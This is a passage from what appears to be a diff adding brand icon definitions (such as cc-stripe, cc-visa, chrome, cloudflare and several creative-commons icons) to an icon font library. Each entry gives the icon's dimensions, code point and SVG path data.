12 0 21.7-9.2 21.7-21.5.1-9.8-6.9-15.5-16.2-15.5z"], + "cc-stripe": [576, 512, [], "f1f5", "M492.4 220.8c-8.9 0-18.7 6.7-18.7 22.7h36.7c0-16-9.3-22.7-18-22.7zM375 223.4c-8.2 0-13.3 2.9-17 7l.2 52.8c3.5 3.7 8.5 6.7 16.8 6.7 13.1 0 21.9-14.3 21.9-33.4 0-18.6-9-33.2-21.9-33.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM122.2 281.1c0 25.6-20.3 40.1-49.9 40.3-12.2 0-25.6-2.4-38.8-8.1v-33.9c12 6.4 27.1 11.3 38.9 11.3 7.9 0 13.6-2.1 13.6-8.7 0-17-54-10.6-54-49.9 0-25.2 19.2-40.2 48-40.2 11.8 0 23.5 1.8 35.3 6.5v33.4c-10.8-5.8-24.5-9.1-35.3-9.1-7.5 0-12.1 2.2-12.1 7.7 0 16 54.3 8.4 54.3 50.7zm68.8-56.6h-27V275c0 20.9 22.5 14.4 27 12.6v28.9c-4.7 2.6-13.3 4.7-24.9 4.7-21.1 0-36.9-15.5-36.9-36.5l.2-113.9 34.7-7.4v30.8H191zm74 2.4c-4.5-1.5-18.7-3.6-27.1 7.4v84.4h-35.5V194.2h30.7l2.2 10.5c8.3-15.3 24.9-12.2 29.6-10.5h.1zm44.1 91.8h-35.7V194.2h35.7zm0-142.9l-35.7 7.6v-28.9l35.7-7.6zm74.1 145.5c-12.4 0-20-5.3-25.1-9l-.1 40.2-35.5 7.5V194.2h31.3l1.8 8.8c4.9-4.5 13.9-11.1 27.8-11.1 24.9 0 48.4 22.5 48.4 63.8 0 45.1-23.2 65.5-48.6 65.6zm160.4-51.5h-69.5c1.6 16.6 13.8 21.5 27.6 21.5 14.1 0 25.2-3 34.9-7.9V312c-9.7 5.3-22.4 9.2-39.4 9.2-34.6 0-58.8-21.7-58.8-64.5 0-36.2 20.5-64.9 54.3-64.9 33.7 0 51.3 28.7 51.3 65.1 0 3.5-.3 10.9-.4 12.9z"], + "cc-visa": [576, 512, [], "f1f0", "M470.1 231.3s7.6 37.2 9.3 45H446c3.3-8.9 16-43.5 16-43.5-.2.3 3.3-9.1 5.3-14.9l2.8 13.4zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM152.5 331.2L215.7 176h-42.5l-39.3 106-4.3-21.5-14-71.4c-2.3-9.9-9.4-12.7-18.2-13.1H32.7l-.7 3.1c15.8 4 29.9 9.8 42.2 17.1l35.8 135h42.5zm94.4.2L272.1 176h-40.2l-25.1 155.4h40.1zm139.9-50.8c.2-17.7-10.6-31.2-33.7-42.3-14.1-7.1-22.7-11.9-22.7-19.2.2-6.6 7.3-13.4 23.1-13.4 13.1-.3 22.7 2.8 29.9 5.9l3.6 1.7 5.5-33.6c-7.9-3.1-20.5-6.6-36-6.6-39.7 0-67.6 21.2-67.8 51.4-.3 22.3 20 34.7 35.2 42.2 15.5 7.6 20.8 12.6 20.8 19.3-.2 10.4-12.6 15.2-24.1 15.2-16 0-24.6-2.5-37.7-8.3l-5.3-2.5-5.6 34.9c9.4 4.3 26.8 8.1 44.8 8.3 42.2.1 69.7-20.8 70-53zM528 331.4L495.6 176h-31.1c-9.6 0-16.9 2.8-21 12.9l-59.7 142.5H426s6.9-19.2 8.4-23.3H486c1.2 5.5 4.8 23.3 4.8 23.3H528z"], + "centercode": [512, 512, [], "f380", "M329.2 268.6c-3.8 35.2-35.4 60.6-70.6 56.8-35.2-3.8-60.6-35.4-56.8-70.6 3.8-35.2 35.4-60.6 70.6-56.8 35.1 3.8 60.6 35.4 56.8 70.6zm-85.8 235.1C96.7 496-8.2 365.5 10.1 224.3c11.2-86.6 65.8-156.9 139.1-192 161-77.1 349.7 37.4 354.7 216.6 4.1 147-118.4 262.2-260.5 254.8zm179.9-180c27.9-118-160.5-205.9-237.2-234.2-57.5 56.3-69.1 188.6-33.8 344.4 68.8 15.8 169.1-26.4 271-110.2z"], + "centos": [448, 512, [], "f789", "M289.6 97.5l31.6 31.7-76.3 76.5V97.5zm-162.4 31.7l76.3 76.5V97.5h-44.7zm41.5-41.6h44.7v127.9l10.8 10.8 10.8-10.8V87.6h44.7L224.2 32zm26.2 168.1l-10.8-10.8H55.5v-44.8L0 255.7l55.5 55.6v-44.8h128.6l10.8-10.8zm79.3-20.7h107.9v-44.8l-31.6-31.7zm173.3 20.7L392 200.1v44.8H264.3l-10.8 10.8 10.8 10.8H392v44.8l55.5-55.6zM65.4 176.2l32.5-31.7 90.3 90.5h15.3v-15.3l-90.3-90.5 31.6-31.7H65.4zm316.7-78.7h-78.5l31.6 31.7-90.3 90.5V235h15.3l90.3-90.5 31.6 31.7zM203.5 413.9V305.8l-76.3 76.5 31.6 31.7h44.7zM65.4 235h108.8l-76.3-76.5-32.5 31.7zm316.7 100.2l-31.6 31.7-90.3-90.5h-15.3v15.3l90.3 90.5-31.6 31.7h78.5zm0-58.8H274.2l76.3 76.5 31.6-31.7zm-60.9 105.8l-76.3-76.5v108.1h44.7zM97.9 352.9l76.3-76.5H65.4v44.8zm181.8 70.9H235V295.9l-10.8-10.8-10.8 10.8v127.9h-44.7l55.5 55.6zm-166.5-41.6l90.3-90.5v-15.3h-15.3l-90.3 90.5-32.5-31.7v78.7h79.4z"], + "chrome": [496, 512, [], "f268", "M131.5 217.5L55.1 100.1c47.6-59.2 119-91.8 192-92.1 42.3-.3 85.5 10.5 124.8 33.2 43.4 25.2 76.4 61.4 97.4 103L264 133.4c-58.1-3.4-113.4 29.3-132.5 84.1zm32.9 38.5c0 46.2 37.4 83.6 83.6 83.6s83.6-37.4 83.6-83.6-37.4-83.6-83.6-83.6-83.6 37.3-83.6 83.6zm314.9-89.2L339.6 174c37.9 44.3 38.5 108.2 6.6 157.2L234.1 503.6c46.5 2.5 94.4-7.7 137.8-32.9 107.4-62 150.9-192 107.4-303.9zM133.7 303.6L40.4 120.1C14.9 159.1 0 205.9 0 256c0 124 90.8 226.7 209.5 244.9l63.7-124.8c-57.6 10.8-113.2-20.8-139.5-72.5z"], + "chromecast": [512, 512, [], "f838", "M447.8,64H64c-23.6,0-42.7,19.1-42.7,42.7v63.9H64v-63.9h383.8v298.6H298.6V448H448c23.6,0,42.7-19.1,42.7-42.7V106.7 C490.7,83.1,471.4,64,447.8,64z M21.3,383.6L21.3,383.6l0,63.9h63.9C85.2,412.2,56.6,383.6,21.3,383.6L21.3,383.6z M21.3,298.6V341 c58.9,0,106.6,48.1,106.6,107h42.7C170.7,365.6,103.7,298.7,21.3,298.6z M213.4,448h42.7c-0.5-129.5-105.3-234.3-234.8-234.6l0,42.4 C127.3,255.6,213.3,342,213.4,448z"], + "cloudflare": [640, 512, [], "e07d", "M407.906,319.913l-230.8-2.928a4.58,4.58,0,0,1-3.632-1.926,4.648,4.648,0,0,1-.494-4.147,6.143,6.143,0,0,1,5.361-4.076L411.281,303.9c27.631-1.26,57.546-23.574,68.022-50.784l13.286-34.542a7.944,7.944,0,0,0,.524-2.936,7.735,7.735,0,0,0-.164-1.631A151.91,151.91,0,0,0,201.257,198.4,68.12,68.12,0,0,0,94.2,269.59C41.924,271.106,0,313.728,0,366.12a96.054,96.054,0,0,0,1.029,13.958,4.508,4.508,0,0,0,4.445,3.871l426.1.051c.043,0,.08-.019.122-.02a5.606,5.606,0,0,0,5.271-4l3.273-11.265c3.9-13.4,2.448-25.8-4.1-34.9C430.124,325.423,420.09,320.487,407.906,319.913ZM513.856,221.1c-2.141,0-4.271.062-6.391.164a3.771,3.771,0,0,0-3.324,2.653l-9.077,31.193c-3.9,13.4-2.449,25.786,4.1,34.89,6.02,8.4,16.054,13.323,28.238,13.9l49.2,2.939a4.491,4.491,0,0,1,3.51,1.894,4.64,4.64,0,0,1,.514,4.169,6.153,6.153,0,0,1-5.351,4.075l-51.125,2.939c-27.754,1.27-57.669,23.574-68.145,50.784l-3.695,9.606a2.716,2.716,0,0,0,2.427,3.68c.046,0,.088.017.136.017h175.91a4.69,4.69,0,0,0,4.539-3.37,124.807,124.807,0,0,0,4.682-34C640,277.3,583.524,221.1,513.856,221.1Z"], + "cloudscale": [448, 512, [], "f383", "M318.1 154l-9.4 7.6c-22.5-19.3-51.5-33.6-83.3-33.6C153.8 128 96 188.8 96 260.3c0 6.6.4 13.1 1.4 19.4-2-56 41.8-97.4 92.6-97.4 24.2 0 46.2 9.4 62.6 24.7l-25.2 20.4c-8.3-.9-16.8 1.8-23.1 8.1-11.1 11-11.1 28.9 0 40 11.1 11 28.9 11 40 0 6.3-6.3 9-14.9 8.1-23.1l75.2-88.8c6.3-6.5-3.3-15.9-9.5-9.6zm-83.8 111.5c-5.6 5.5-14.6 5.5-20.2 0-5.6-5.6-5.6-14.6 0-20.2s14.6-5.6 20.2 0 5.6 14.7 0 20.2zM224 32C100.5 32 0 132.5 0 256s100.5 224 224 224 224-100.5 224-224S347.5 32 224 32zm0 384c-88.2 0-160-71.8-160-160S135.8 96 224 96s160 71.8 160 160-71.8 160-160 160z"], + "cloudsmith": [332, 512, [], "f384", "M332.5 419.9c0 46.4-37.6 84.1-84 84.1s-84-37.7-84-84.1 37.6-84 84-84 84 37.6 84 84zm-84-243.9c46.4 0 80-37.6 80-84s-33.6-84-80-84-88 37.6-88 84-29.6 76-76 76-84 41.6-84 88 37.6 80 84 80 84-33.6 84-80 33.6-80 80-80z"], + "cloudversify": [616, 512, [], "f385", "M148.6 304c8.2 68.5 67.4 115.5 146 111.3 51.2 43.3 136.8 45.8 186.4-5.6 69.2 1.1 118.5-44.6 131.5-99.5 14.8-62.5-18.2-132.5-92.1-155.1-33-88.1-131.4-101.5-186.5-85-57.3 17.3-84.3 53.2-99.3 109.7-7.8 2.7-26.5 8.9-45 24.1 11.7 0 15.2 8.9 15.2 19.5v20.4c0 10.7-8.7 19.5-19.5 19.5h-20.2c-10.7 0-19.5-6-19.5-16.7V240H98.8C95 240 88 244.3 88 251.9v40.4c0 6.4 5.3 11.8 11.7 11.8h48.9zm227.4 8c-10.7 46.3 21.7 72.4 55.3 86.8C324.1 432.6 259.7 348 296 288c-33.2 21.6-33.7 71.2-29.2 92.9-17.9-12.4-53.8-32.4-57.4-79.8-3-39.9 21.5-75.7 57-93.9C297 191.4 369.9 198.7 400 248c-14.1-48-53.8-70.1-101.8-74.8 30.9-30.7 64.4-50.3 114.2-43.7 69.8 9.3 133.2 82.8 67.7 150.5 35-16.3 48.7-54.4 47.5-76.9l10.5 19.6c11.8 22 15.2 47.6 9.4 72-9.2 39-40.6 68.8-79.7 76.5-32.1 6.3-83.1-5.1-91.8-59.2zM128 208H88.2c-8.9 0-16.2-7.3-16.2-16.2v-39.6c0-8.9 7.3-16.2 16.2-16.2H128c8.9 0 16.2 7.3 16.2 16.2v39.6c0 8.9-7.3 16.2-16.2 16.2zM10.1 168C4.5 168 0 163.5 0 157.9v-27.8c0-5.6 4.5-10.1 10.1-10.1h27.7c5.5 0 10.1 4.5 10.1 10.1v27.8c0 5.6-4.5 10.1-10.1 10.1H10.1zM168 142.7v-21.4c0-5.1 4.2-9.3 9.3-9.3h21.4c5.1 0 9.3 4.2 9.3 9.3v21.4c0 5.1-4.2 9.3-9.3 9.3h-21.4c-5.1 0-9.3-4.2-9.3-9.3zM56 235.5v25c0 6.3-5.1 11.5-11.4 11.5H19.4C13.1 272 8 266.8 8 260.5v-25c0-6.3 5.1-11.5 11.4-11.5h25.1c6.4 0 11.5 5.2 11.5 11.5z"], + "codepen": [512, 512, [], "f1cb", "M502.285 159.704l-234-156c-7.987-4.915-16.511-4.96-24.571 0l-234 156C3.714 163.703 0 170.847 0 177.989v155.999c0 7.143 3.714 14.286 9.715 18.286l234 156.022c7.987 4.915 16.511 4.96 24.571 0l234-156.022c6-3.999 9.715-11.143 9.715-18.286V177.989c-.001-7.142-3.715-14.286-9.716-18.285zM278 63.131l172.286 114.858-76.857 51.429L278 165.703V63.131zm-44 0v102.572l-95.429 63.715-76.857-51.429L234 63.131zM44 219.132l55.143 36.857L44 292.846v-73.714zm190 229.715L61.714 333.989l76.857-51.429L234 346.275v102.572zm22-140.858l-77.715-52 77.715-52 77.715 52-77.715 52zm22 140.858V346.275l95.429-63.715 76.857 51.429L278 448.847zm190-156.001l-55.143-36.857L468 219.132v73.714z"], + "codiepie": [472, 512, [], "f284", "M422.5 202.9c30.7 0 33.5 53.1-.3 53.1h-10.8v44.3h-26.6v-97.4h37.7zM472 352.6C429.9 444.5 350.4 504 248 504 111 504 0 393 0 256S111 8 248 8c97.4 0 172.8 53.7 218.2 138.4l-186 108.8L472 352.6zm-38.5 12.5l-60.3-30.7c-27.1 44.3-70.4 71.4-122.4 71.4-82.5 0-149.2-66.7-149.2-148.9 0-82.5 66.7-149.2 149.2-149.2 48.4 0 88.9 23.5 116.9 63.4l59.5-34.6c-40.7-62.6-104.7-100-179.2-100-121.2 0-219.5 98.3-219.5 219.5S126.8 475.5 248 475.5c78.6 0 146.5-42.1 185.5-110.4z"], + "confluence": [512, 512, [], "f78d", "M2.3 412.2c-4.5 7.6-2.1 17.5 5.5 22.2l105.9 65.2c7.7 4.7 17.7 2.4 22.4-5.3 0-.1.1-.2.1-.2 67.1-112.2 80.5-95.9 280.9-.7 8.1 3.9 17.8.4 21.7-7.7.1-.1.1-.3.2-.4l50.4-114.1c3.6-8.1-.1-17.6-8.1-21.3-22.2-10.4-66.2-31.2-105.9-50.3C127.5 179 44.6 345.3 2.3 412.2zm507.4-312.1c4.5-7.6 2.1-17.5-5.5-22.2L398.4 12.8c-7.5-5-17.6-3.1-22.6 4.4-.2.3-.4.6-.6 1-67.3 112.6-81.1 95.6-280.6.9-8.1-3.9-17.8-.4-21.7 7.7-.1.1-.1.3-.2.4L22.2 141.3c-3.6 8.1.1 17.6 8.1 21.3 22.2 10.4 66.3 31.2 106 50.4 248 120 330.8-45.4 373.4-112.9z"], + "connectdevelop": [576, 512, [], "f20e", "M550.5 241l-50.089-86.786c1.071-2.142 1.875-4.553 1.875-7.232 0-8.036-6.696-14.733-14.732-15.001l-55.447-95.893c.536-1.607 1.071-3.214 1.071-4.821 0-8.571-6.964-15.268-15.268-15.268-4.821 0-8.839 2.143-11.786 5.625H299.518C296.839 18.143 292.821 16 288 16s-8.839 2.143-11.518 5.625H170.411C167.464 18.143 163.447 16 158.625 16c-8.303 0-15.268 6.696-15.268 15.268 0 1.607.536 3.482 1.072 4.821l-55.983 97.233c-5.356 2.41-9.107 7.5-9.107 13.661 0 .535.268 1.071.268 1.607l-53.304 92.143c-7.232 1.339-12.59 7.5-12.59 15 0 7.232 5.089 13.393 12.054 15l55.179 95.358c-.536 1.607-.804 2.946-.804 4.821 0 7.232 5.089 13.393 12.054 14.732l51.697 89.732c-.536 1.607-1.071 3.482-1.071 5.357 0 8.571 6.964 15.268 15.268 15.268 4.821 0 8.839-2.143 11.518-5.357h106.875C279.161 493.857 283.447 496 288 496s8.839-2.143 11.518-5.357h107.143c2.678 2.946 6.696 4.821 10.982 4.821 8.571 0 15.268-6.964 15.268-15.268 0-1.607-.267-2.946-.803-4.285l51.697-90.268c6.964-1.339 12.054-7.5 12.054-14.732 0-1.607-.268-3.214-.804-4.821l54.911-95.358c6.964-1.339 12.322-7.5 12.322-15-.002-7.232-5.092-13.393-11.788-14.732zM153.535 450.732l-43.66-75.803h43.66v75.803zm0-83.839h-43.66c-.268-1.071-.804-2.142-1.339-3.214l44.999-47.41v50.624zm0-62.411l-50.357 53.304c-1.339-.536-2.679-1.34-4.018-1.607L43.447 259.75c.535-1.339.535-2.679.535-4.018s0-2.41-.268-3.482l51.965-90c2.679-.268 5.357-1.072 7.768-2.679l50.089 51.965v92.946zm0-102.322l-45.803-47.41c1.339-2.143 2.143-4.821 2.143-7.767 0-.268-.268-.804-.268-1.072l43.928-15.804v72.053zm0-80.625l-43.66 15.804 43.66-75.536v59.732zm326.519 39.108l.804 1.339L445.5 329.125l-63.75-67.232 98.036-101.518.268.268zM291.75 355.107l11.518 11.786H280.5l11.25-11.786zm-.268-11.25l-83.303-85.446 79.553-84.375 83.036 87.589-79.286 82.232zm5.357 5.893l79.286-82.232 67.5 71.25-5.892 28.125H313.714l-16.875-17.143zM410.411 44.393c1.071.536 2.142 1.072 3.482 1.34l57.857 100.714v.536c0 2.946.803 5.624 2.143 7.767L376.393 256l-83.035-87.589L410.411 44.393zm-9.107-2.143L287.732 162.518l-57.054-60.268 166.339-60h4.287zm-123.483 0c2.678 2.678 6.16 4.285 10.179 4.285s7.5-1.607 10.179-4.285h75L224.786 95.821 173.893 42.25h103.928zm-116.249 5.625l1.071-2.142a33.834 33.834 0 0 0 2.679-.804l51.161 53.84-54.911 19.821V47.875zm0 79.286l60.803-21.964 59.732 63.214-79.553 84.107-40.982-42.053v-83.304zm0 92.678L198 257.607l-36.428 38.304v-76.072zm0 87.858l42.053-44.464 82.768 85.982-17.143 17.678H161.572v-59.196zm6.964 162.053c-1.607-1.607-3.482-2.678-5.893-3.482l-1.071-1.607v-89.732h99.91l-91.607 94.821h-1.339zm129.911 0c-2.679-2.41-6.428-4.285-10.447-4.285s-7.767 1.875-10.447 4.285h-96.429l91.607-94.821h38.304l91.607 94.821H298.447zm120-11.786l-4.286 7.5c-1.339.268-2.41.803-3.482 1.339l-89.196-91.875h114.376l-17.412 83.036zm12.856-22.232l12.858-60.803h21.964l-34.822 60.803zm34.822-68.839h-20.357l4.553-21.16 17.143 18.214c-.535.803-1.071 1.874-1.339 2.946zm66.161-107.411l-55.447 96.697c-1.339.535-2.679 1.071-4.018 1.874l-20.625-21.964 34.554-163.928 45.803 79.286c-.267 1.339-.803 2.678-.803 4.285 0 1.339.268 2.411.536 3.75z"], + "contao": [512, 512, [], "f26d", "M45.4 305c14.4 67.1 26.4 129 68.2 175H34c-18.7 0-34-15.2-34-34V66c0-18.7 15.2-34 34-34h57.7C77.9 44.6 65.6 59.2 54.8 75.6c-45.4 70-27 146.8-9.4 229.4zM478 32h-90.2c21.4 21.4 39.2 49.5 52.7 84.1l-137.1 29.3c-14.9-29-37.8-53.3-82.6-43.9-24.6 5.3-41 19.3-48.3 34.6-8.8 18.7-13.2 39.8 8.2 140.3 21.1 100.2 33.7 117.7 49.5 131.2 12.9 11.1 33.4 17 58.3 11.7 44.5-9.4 55.7-40.7 57.4-73.2l137.4-29.6c3.2 71.5-18.7 125.2-57.4 163.6H478c18.7 0 34-15.2 34-34V66c0-18.8-15.2-34-34-34z"], + "cotton-bureau": [512, 512, [], "f89e", "M474.31 330.41c-23.66 91.85-94.23 144.59-201.9 148.35V429.6c0-48 26.41-74.39 74.39-74.39 62 0 99.2-37.2 99.2-99.21 0-61.37-36.53-98.28-97.38-99.06-33-69.32-146.5-64.65-177.24 0C110.52 157.72 74 194.63 74 256c0 62.13 37.27 99.41 99.4 99.41 48 0 74.55 26.23 74.55 74.39V479c-134.43-5-211.1-85.07-211.1-223 0-141.82 81.35-223.2 223.2-223.2 114.77 0 189.84 53.2 214.69 148.81H500C473.88 71.51 388.22 8 259.82 8 105 8 12 101.19 12 255.82 12 411.14 105.19 504.34 259.82 504c128.27 0 213.87-63.81 239.67-173.59zM357 182.33c41.37 3.45 64.2 29 64.2 73.67 0 48-26.43 74.41-74.4 74.41-28.61 0-49.33-9.59-61.59-27.33 83.06-16.55 75.59-99.67 71.79-120.75zm-81.68 97.36c-2.46-10.34-16.33-87 56.23-97 2.27 10.09 16.52 87.11-56.26 97zM260 132c28.61 0 49 9.67 61.44 27.61-28.36 5.48-49.36 20.59-61.59 43.45-12.23-22.86-33.23-38-61.6-43.45 12.41-17.69 33.27-27.35 61.57-27.35zm-71.52 50.72c73.17 10.57 58.91 86.81 56.49 97-72.41-9.84-59-86.95-56.25-97zM173.2 330.41c-48 0-74.4-26.4-74.4-74.41 0-44.36 22.86-70 64.22-73.67-6.75 37.2-1.38 106.53 71.65 120.75-12.14 17.63-32.84 27.3-61.14 27.3zm53.21 12.39A80.8 80.8 0 0 0 260 309.25c7.77 14.49 19.33 25.54 33.82 33.55a80.28 80.28 0 0 0-33.58 33.83c-8-14.5-19.07-26.23-33.56-33.83z"], + "cpanel": [640, 512, [], "f388", "M210.3 220.2c-5.6-24.8-26.9-41.2-51-41.2h-37c-7.1 0-12.5 4.5-14.3 10.9L73.1 320l24.7-.1c6.8 0 12.3-4.5 14.2-10.7l25.8-95.7h19.8c8.4 0 16.2 5.6 18.3 14.8 2.5 10.9-5.9 22.6-18.3 22.6h-10.3c-7 0-12.5 4.6-14.3 10.8l-6.4 23.8h32c37.2 0 58.3-36.2 51.7-65.3zm-156.5 28h18.6c6.9 0 12.4-4.4 14.3-10.9l6.2-23.6h-40C30 213.7 9 227.8 1.7 254.8-7 288.6 18.5 320 52 320h12.4l7.1-26.1c1.2-4.4-2.2-8.3-6.4-8.3H53.8c-24.7 0-24.9-37.4 0-37.4zm247.5-34.8h-77.9l-3.5 13.4c-2.4 9.6 4.5 18.5 14.2 18.5h57.5c4 0 2.4 4.3 2.1 5.3l-8.6 31.8c-.4 1.4-.9 5.3-5.5 5.3h-34.9c-5.3 0-5.3-7.9 0-7.9h21.6c6.8 0 12.3-4.6 14.2-10.8l3.5-13.2h-48.4c-39.2 0-43.6 63.8-.7 63.8l57.5.2c11.2 0 20.6-7.2 23.4-17.8l14-51.8c4.8-19.2-9.7-36.8-28.5-36.8zM633.1 179h-18.9c-4.9 0-9.2 3.2-10.4 7.9L568.2 320c20.7 0 39.8-13.8 44.9-34.5l26.5-98.2c1.2-4.3-2-8.3-6.5-8.3zm-236.3 34.7v.1h-48.3l-26.2 98c-1.2 4.4 2.2 8.3 6.4 8.3h18.9c4.8 0 9.2-3 10.4-7.8l17.2-64H395c12.5 0 21.4 11.8 18.1 23.4l-10.6 40c-1.2 4.3 1.9 8.3 6.4 8.3H428c4.6 0 9.1-2.9 10.3-7.8l8.8-33.1c9-33.1-15.9-65.4-50.3-65.4zm98.3 74.6c-3.6 0-6-3.4-5.1-6.7l8-30c.9-3.9 3.7-6 7.8-6h32.9c2.6 0 4.6 2.4 3.9 5.1l-.7 2.6c-.6 2-1.9 3-3.9 3h-21.6c-7 0-12.6 4.6-14.2 10.8l-3.5 13h53.4c10.5 0 20.3-6.6 23.2-17.6l3.2-12c4.9-19.1-9.3-36.8-28.3-36.8h-47.3c-17.9 0-33.8 12-38.6 29.6l-10.8 40c-5 17.7 8.3 36.7 28.3 36.7h66.7c6.8 0 12.3-4.5 14.2-10.7l5.7-21z"], + "creative-commons": [496, 512, [], "f25e", "M245.83 214.87l-33.22 17.28c-9.43-19.58-25.24-19.93-27.46-19.93-22.13 0-33.22 14.61-33.22 43.84 0 23.57 9.21 43.84 33.22 43.84 14.47 0 24.65-7.09 30.57-21.26l30.55 15.5c-6.17 11.51-25.69 38.98-65.1 38.98-22.6 0-73.96-10.32-73.96-77.05 0-58.69 43-77.06 72.63-77.06 30.72-.01 52.7 11.95 65.99 35.86zm143.05 0l-32.78 17.28c-9.5-19.77-25.72-19.93-27.9-19.93-22.14 0-33.22 14.61-33.22 43.84 0 23.55 9.23 43.84 33.22 43.84 14.45 0 24.65-7.09 30.54-21.26l31 15.5c-2.1 3.75-21.39 38.98-65.09 38.98-22.69 0-73.96-9.87-73.96-77.05 0-58.67 42.97-77.06 72.63-77.06 30.71-.01 52.58 11.95 65.56 35.86zM247.56 8.05C104.74 8.05 0 123.11 0 256.05c0 138.49 113.6 248 247.56 248 129.93 0 248.44-100.87 248.44-248 0-137.87-106.62-248-248.44-248zm.87 450.81c-112.54 0-203.7-93.04-203.7-202.81 0-105.42 85.43-203.27 203.72-203.27 112.53 0 202.82 89.46 202.82 203.26-.01 121.69-99.68 202.82-202.84 202.82z"], + "creative-commons-by": [496, 512, [], "f4e7", "M314.9 194.4v101.4h-28.3v120.5h-77.1V295.9h-28.3V194.4c0-4.4 1.6-8.2 4.6-11.3 3.1-3.1 6.9-4.7 11.3-4.7H299c4.1 0 7.8 1.6 11.1 4.7 3.1 3.2 4.8 6.9 4.8 11.3zm-101.5-63.7c0-23.3 11.5-35 34.5-35s34.5 11.7 34.5 35c0 23-11.5 34.5-34.5 34.5s-34.5-11.5-34.5-34.5zM247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3z"], + "creative-commons-nc": [496, 512, [], "f4e8", "M247.6 8C387.4 8 496 115.9 496 256c0 147.2-118.5 248-248.4 248C113.1 504 0 393.2 0 256 0 123.1 104.7 8 247.6 8zM55.8 189.1c-7.4 20.4-11.1 42.7-11.1 66.9 0 110.9 92.1 202.4 203.7 202.4 122.4 0 177.2-101.8 178.5-104.1l-93.4-41.6c-7.7 37.1-41.2 53-68.2 55.4v38.1h-28.8V368c-27.5-.3-52.6-10.2-75.3-29.7l34.1-34.5c31.7 29.4 86.4 31.8 86.4-2.2 0-6.2-2.2-11.2-6.6-15.1-14.2-6-1.8-.1-219.3-97.4zM248.4 52.3c-38.4 0-112.4 8.7-170.5 93l94.8 42.5c10-31.3 40.4-42.9 63.8-44.3v-38.1h28.8v38.1c22.7 1.2 43.4 8.9 62 23L295 199.7c-42.7-29.9-83.5-8-70 11.1 53.4 24.1 43.8 19.8 93 41.6l127.1 56.7c4.1-17.4 6.2-35.1 6.2-53.1 0-57-19.8-105-59.3-143.9-39.3-39.9-87.2-59.8-143.6-59.8z"], + "creative-commons-nc-eu": [496, 512, [], "f4e9", "M247.7 8C103.6 8 0 124.8 0 256c0 136.3 111.7 248 247.7 248C377.9 504 496 403.1 496 256 496 117 388.4 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-23.2 3.7-45.2 10.9-66l65.7 29.1h-4.7v29.5h23.3c0 6.2-.4 3.2-.4 19.5h-22.8v29.5h27c11.4 67 67.2 101.3 124.6 101.3 26.6 0 50.6-7.9 64.8-15.8l-10-46.1c-8.7 4.6-28.2 10.8-47.3 10.8-28.2 0-58.1-10.9-67.3-50.2h90.3l128.3 56.8c-1.5 2.1-56.2 104.3-178.8 104.3zm-16.7-190.6l-.5-.4.9.4h-.4zm77.2-19.5h3.7v-29.5h-70.3l-28.6-12.6c2.5-5.5 5.4-10.5 8.8-14.3 12.9-15.8 31.1-22.4 51.1-22.4 18.3 0 35.3 5.4 46.1 10l11.6-47.3c-15-6.6-37-12.4-62.3-12.4-39 0-72.2 15.8-95.9 42.3-5.3 6.1-9.8 12.9-13.9 20.1l-81.6-36.1c64.6-96.8 157.7-93.6 170.7-93.6 113 0 203 90.2 203 203.4 0 18.7-2.1 36.3-6.3 52.9l-136.1-60.5z"], + "creative-commons-nc-jp": [496, 512, [], "f4ea", "M247.7 8C103.6 8 0 124.8 0 256c0 136.4 111.8 248 247.7 248C377.9 504 496 403.2 496 256 496 117.2 388.5 8 247.7 8zm.6 450.7c-112 0-203.6-92.5-203.6-202.7 0-21.1 3-41.2 9-60.3l127 56.5h-27.9v38.6h58.1l5.7 11.8v18.7h-63.8V360h63.8v56h61.7v-56h64.2v-35.7l81 36.1c-1.5 2.2-57.1 98.3-175.2 98.3zm87.6-137.3h-57.6v-18.7l2.9-5.6 54.7 24.3zm6.5-51.4v-17.8h-38.6l63-116H301l-43.4 96-23-10.2-39.6-85.7h-65.8l27.3 51-81.9-36.5c27.8-44.1 82.6-98.1 173.7-98.1 112.8 0 203 90 203 203.4 0 21-2.7 40.6-7.9 59l-101-45.1z"], + "creative-commons-nd": [496, 512, [], "f4eb", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm94 144.3v42.5H162.1V197h180.3zm0 79.8v42.5H162.1v-42.5h180.3z"], + "creative-commons-pd": [496, 512, [], "f4ec", "M248 8C111 8 0 119.1 0 256c0 137 111 248 248 248s248-111 248-248C496 119.1 385 8 248 8zm0 449.5c-139.2 0-235.8-138-190.2-267.9l78.8 35.1c-2.1 10.5-3.3 21.5-3.3 32.9 0 99 73.9 126.9 120.4 126.9 22.9 0 53.5-6.7 79.4-29.5L297 311.1c-5.5 6.3-17.6 16.7-36.3 16.7-37.8 0-53.7-39.9-53.9-71.9 230.4 102.6 216.5 96.5 217.9 96.8-34.3 62.4-100.6 104.8-176.7 104.8zm194.2-150l-224-100c18.8-34 54.9-30.7 74.7-11l40.4-41.6c-27.1-23.3-58-27.5-78.1-27.5-47.4 0-80.9 20.5-100.7 51.6l-74.9-33.4c36.1-54.9 98.1-91.2 168.5-91.2 111.1 0 201.5 90.4 201.5 201.5 0 18-2.4 35.4-6.8 52-.3-.1-.4-.2-.6-.4z"], + "creative-commons-pd-alt": [496, 512, [], "f4ed", "M247.6 8C104.7 8 0 123.1 0 256c0 138.5 113.6 248 247.6 248C377.5 504 496 403.1 496 256 496 118.1 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.4 85.5-203.3 203.7-203.3 112.6 0 202.9 89.5 202.8 203.3 0 121.7-99.6 202.8-202.8 202.8zM316.7 186h-53.2v137.2h53.2c21.4 0 70-5.1 70-68.6 0-63.4-48.6-68.6-70-68.6zm.8 